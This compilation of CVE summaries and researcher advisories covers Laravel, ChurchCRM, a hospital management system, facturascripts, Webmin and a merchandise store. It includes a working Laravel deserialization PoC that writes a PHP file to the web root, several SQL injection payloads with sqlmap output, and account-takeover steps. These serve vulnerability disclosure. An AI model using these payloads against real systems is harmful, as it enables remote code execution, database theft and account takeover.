Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30779

**build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php

namespace GuzzleHttp\\Cookie{
    class SetCookie
    {
        private static $defaults = \[
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        \];
        function \_\_construct()
        {
            $this\->data\['Expires'\] = '<?php phpinfo();?>';
            $this\->data\['Discard'\] = 0;
        }
    }
    class CookieJar{
        private $cookies = \[\];
        private $strictMode;
        function \_\_construct()
        {
            $this\->cookies\[\] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function \_\_construct()
        {
            parent::\_\_construct();
            $this\->filename = "d:/var/www/untitled/public/shell.php";
            $this\->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \\GuzzleHttp\\Cookie\\FileCookieJar();
    echo base64\_encode(serialize($a));
}

result :

    TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9
    

**attack**

http://127.0.0.1:1080/?ser=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9

CVE-2022-30779: Laravel 9.1.8 POP chain2 · Issue #2 · 1nhann/vulns

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the delid parameter at viewtreatmentrecord.php.

**DATE : 4/6/22****Web App : https://github.com/kabirkhyrul/HMS****Version : 1.0****Researcher : cyber\_homeless****Path : viewtreatmentrecord.php?delid=1****Security issue : SQLInjection**

While installing the web app i saw bunch of sql connection's so i went for SQLInjection and soon enough found one : 

Exploiting this vulnerability is pretty easy now using sqlmap: 

Payload : 1' AND (SELECT 6895 FROM (SELECT(SLEEP(5)))juDk) AND 'GPzW'='GPzW

CVE-2022-28929: vulnerabilitys/HMS at main · cyberhomeless/vulnerabilitys

A SQL injection vulnerability exists in ChurchCRM version 2.0.0 to 4.4.5 that allows an authenticated attacker to issue an arbitrary SQL command to the database through the unsanitized EN_tyid, theID and EID fields used when an Edit action on an existing record is being performed.

*   Sat, May 14, 2022
*   4-minute read

**Summary**

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    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

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    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

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    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

CVE-2021-41965: SQL Injection Vulnerability in ChurchCRM (CVE-2021-41965)

*   Sat, May 14, 2022
*   4-minute read

**Summary**

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    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

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    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

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    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**Copyright**

Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

Webmin through 1.991, when the Authentic theme is used, allows remote code execution when a user has been manually created (i.e., not created in Virtualmin or Cloudmin). This occurs because settings-editor_write.cgi does not properly restrict the file parameter.

CVE-2022-30708: Webmin

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between May 6 and May 13. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Roundup for May 6 to May 13

Account Takeover in GitHub repository neorazorx/facturascripts prior to 2022.07.

**Description**

Hi there i found that forget password functionality can be manipulated and this lead to account takeover. So even if an attacker can takeover low access user to admin accounts. In this bug server is vulnerable to php type juggling attack

**Proof of Concept**

1.  While registering app for first use set DB password starting with "0e" and then random characters in it. so You can add any password starting with 0e
2.  Goto forget password section and add username as admin and new password as "newpass"
3.  Add 0 in database password
4.  Send request and login with new password
5.  Successfully changed password

Reference :-https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

**Impact**

Account takeover

CVE-2022-1715: Account Takeover in facturascripts

Merchandise Online Store v1.0 is vulnerable to SQL Injection via /vloggers_merch/?p=view_product&id=.

**Merchandise Online Store v1.0 by oretnom23 has SQL injection**

Author： k0xx

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html

Vulnerability File: /vloggers\_merch/?p=view\_product&id=

Vulnerability location: /vloggers\_merch/?p=view\_product&id=,id

\[+\] Payload: /vloggers\_merch/?p=view\_product&id=a87ff679a2f3e71d9181a67b7542122c%27%20and%20length(database())%20=17--+ // Leak place ---> id

Current database name: vloggers\_merch\_db,length is 17

GET /vloggers\_merch/?p\=view\_product&id\=a87ff679a2f3e71d9181a67b7542122c%27%20and%20length(database())%20\=17\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

When length (database ()) = 16, Content-Length: 29830 

When length (database ()) = 17, Content-Length: 26131

Tag

#php